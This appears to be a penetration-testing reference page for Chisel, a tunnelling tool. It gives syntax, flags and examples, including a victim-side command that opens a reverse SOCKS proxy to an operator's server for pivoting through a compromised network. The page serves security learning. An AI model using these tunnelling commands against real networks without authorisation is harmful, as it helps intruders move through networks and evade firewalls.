_ ReconLab
Commands  / Post-Exploitation  / Chisel

Chisel

Fast TCP/UDP tunnel over HTTP/SSH.

KaliParrotmedium

pkg: chisel

Chisel creates encrypted tunnels (incl. SOCKS) over HTTP, ideal for pivoting and port-forwarding through restrictive networks.

Syntax

chisel server -p {port} --reverse | chisel client {server} R:socks

Example

chisel client 1.2.3.4:8080 R:1080:socks

From the victim, opens a reverse SOCKS proxy on the operator’s 1080 for pivoting.

Options & flags

What each switch does. Toggle them in the builder below to assemble a command.

serverRun as the server side.
clientRun as the client side.
-p <8080>Server port.
--reverseAllow reverse port forwarding.
R:socksClient spec: reverse SOCKS proxy.

Command builder

Tick options (and fill any values) to build a ready-to-copy command.

chisel

Usage examples

chisel server -p 8080 --reverse

Operator side: listen for reverse tunnels.

chisel client 1.2.3.4:8080 R:1080:socks

Victim side: open a reverse SOCKS proxy.

Advantages
  • Single static binary
  • SOCKS + port forwarding
  • Tunnels through HTTP firewalls
Disadvantages
  • Needs binary on both ends
  • Another moving part to manage
  • Detectable as tunnelling
Tags
#pivoting#tunnel#socks

Official docs: Chisel ↗

Related commands

proxychains

Force any TCP tool through a proxy chain.

socat

Multipurpose relay — “netcat on steroids”.

Frequently asked questions

What is Chisel used for?
Chisel creates encrypted tunnels (incl. SOCKS) over HTTP, ideal for pivoting and port-forwarding through restrictive networks.
What is an example Chisel command?
A common example is: chisel client 1.2.3.4:8080 R:1080:socks — From the victim, opens a reverse SOCKS proxy on the operator’s 1080 for pivoting.
Is Chisel part of Kali Linux?
Yes. Chisel ships with Kali Linux (and Parrot OS). If missing, install it with: sudo apt install chisel.
What category of security tool is Chisel?
Chisel is a Post-Exploitation tool with a medium-risk profile when run against a live target.

Try recon tools live

Run real scans against a domain you control, stage by stage.

Open the lab →